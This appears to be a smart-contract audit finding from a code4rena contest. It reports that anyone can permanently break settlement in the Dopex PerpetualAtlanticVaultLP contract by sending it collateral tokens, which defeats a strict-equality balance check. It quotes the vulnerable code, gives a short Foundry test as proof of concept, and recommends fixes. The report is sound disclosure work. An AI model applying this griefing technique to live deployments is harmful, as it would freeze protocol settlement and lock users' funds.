Dopex - Blockian's results

Lines of code

https://github.com/code-423n4/2023-08-dopex/blob/main/contracts/perp-vault/PerpetualAtlanticVaultLP.sol#L199

Vulnerability details

A malicious user/attacker can cause all settle functions to revert consistently

Vulnerable Contract PerpetualAtlanticVaultLP.sol

Summary

A malicious user can manipulate the subtractLoss function to revert consistently, thereby locking down dependent operations, such as the settle functions in both RdpxV2Core and PerpetualAtlanticVaultLP.

Code Root Cause

The function subtractLoss is outlined below: subtractLoss:

  function subtractLoss(uint256 loss) public onlyPerpVault {
    require(
      collateral.balanceOf(address(this)) == _totalCollateral - loss, // 1
      "Not enough collateral was sent out"
    );
    _totalCollateral -= loss;
  }

Vulnerability Detail

A malicious user can transfer an arbitrary amount of the collateral token into the PerpetualAtlanticVaultLP contract. This action would cause the require statement (marked as Comment 1) to consistently fail. The failure happens due to a discrepancy between the actual contract balance and the internal state variable _totalCollateral. When a user transfers tokens into the contract, _totalCollateral remains unaltered, causing the mismatch.

Impact

As a result of this vulnerability, no settle functions could be successfully invoked across the entire system, leading to a complete breakdown of the project's functionality.

Proof of Concept

To confirm this flaw, insert the following line into the testSettle test

weth.mint(address(vaultLp), 1); // simulate someone sending collateral (weth is the collateral in the tests) token to the vault, we can also actually send some weth but this is the simplest method to verify it in the tests

Alternatively, you can introduce the following test into Unit.t.sol

  function testSettleFailed() public {
    weth.mint(address(1), 1 ether);
    weth.mint(address(vaultLp), 1); // simulate someone sending collateral token to the vault
    deposit(1 ether, address(1));

    vault.purchase(1 ether, address(this));

    uint256[] memory ids = new uint256[](1);
    ids[0] = 0;

    skip(86500); // expire
    priceOracle.updateRdpxPrice(0.010 gwei); // ITM
    vault.settle(ids); // this function will revert, if we comment `weth.mint(address(vaultLp), 1);` it will pass
  }

Tools Used

Static code analysis was used.

Recommended Mitigation Steps

1. Modify the require statement to use the greater-than-or-equal-to (>=) operator: collateral.balanceOf(address(this)) >= _totalCollateral - loss.
2. Implement a function that enables the contract owner to recover any extra collateral.

Assessed type

Token-Transfer